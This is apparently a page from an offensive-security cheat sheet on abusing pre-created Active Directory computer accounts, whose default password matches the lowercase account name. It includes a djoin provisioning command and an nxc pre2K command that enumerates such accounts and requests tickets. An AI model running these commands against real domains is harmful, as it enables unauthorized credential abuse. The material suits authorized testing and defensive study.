26 lines
1.1 KiB
Markdown
26 lines
1.1 KiB
Markdown
# Password - Pre-Created Computer Account
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When `Assign this computer account as a pre-Windows 2000 computer` checkmark is checked, the password for the computer account becomes the same as the computer account in lowercase. For instance, the computer account **SERVERDEMO$** would have the password **serverdemo**.
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```ps1
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# Create a machine with default password
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# must be run from a domain joined device connected to the domain
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djoin /PROVISION /DOMAIN <fqdn> /MACHINE evilpc /SAVEFILE C:\temp\evilpc.txt /DEFPWD /PRINTBLOB /NETBIOS evilpc
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```
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* When you attempt to login using the credential you should have the following error code : `STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT`.
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* Then you need to change the password with [rpcchangepwd.py](https://github.com/SecureAuthCorp/impacket/pull/1304)
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## Enumerate Pre-Created Computer Account
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Identify pre-created computer accounts, save the results to a file, and obtain TGTs for each
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```ps1
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nxc -u username -p password -M pre2K
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```
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## References
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* [DIVING INTO PRE-CREATED COMPUTER ACCOUNTS - May 10, 2022 - By Oddvar Moe](https://www.trustedsec.com/blog/diving-into-pre-created-computer-accounts/) |